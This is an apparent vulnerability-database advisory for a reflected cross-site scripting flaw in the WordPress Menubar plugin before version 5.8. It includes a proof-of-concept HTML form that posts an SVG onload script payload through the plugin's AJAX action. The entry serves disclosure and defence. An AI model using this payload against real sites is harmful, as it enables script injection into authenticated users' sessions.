WordPress Plugin Vulnerabilities
Menubar < 5.8 - Reflected Cross-Site Scripting
Description
The plugin does not sanitise and escape the command parameter before outputting it back in the response via the menubar AJAX action (available to any authenticated users), leading to a Reflected Cross-Site Scripting
Proof of Concept
<html>
<body>
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="hidden" name="action" value="menubar" />
<input type="hidden" name="command" value="<svg/onload=alert(/XSS/)>" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
Affects Plugins
Fixed in 5.8 References
CVE
Classification
Type
XSS
OWASP top 10
CWE
CVSS
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Original Researcher
p7e4
Submitter
p7e4
Submitter website
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Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-04-04 (about 2 years ago)
Added
2022-04-04 (about 2 years ago)
Last Updated
2022-04-09 (about 2 years ago)
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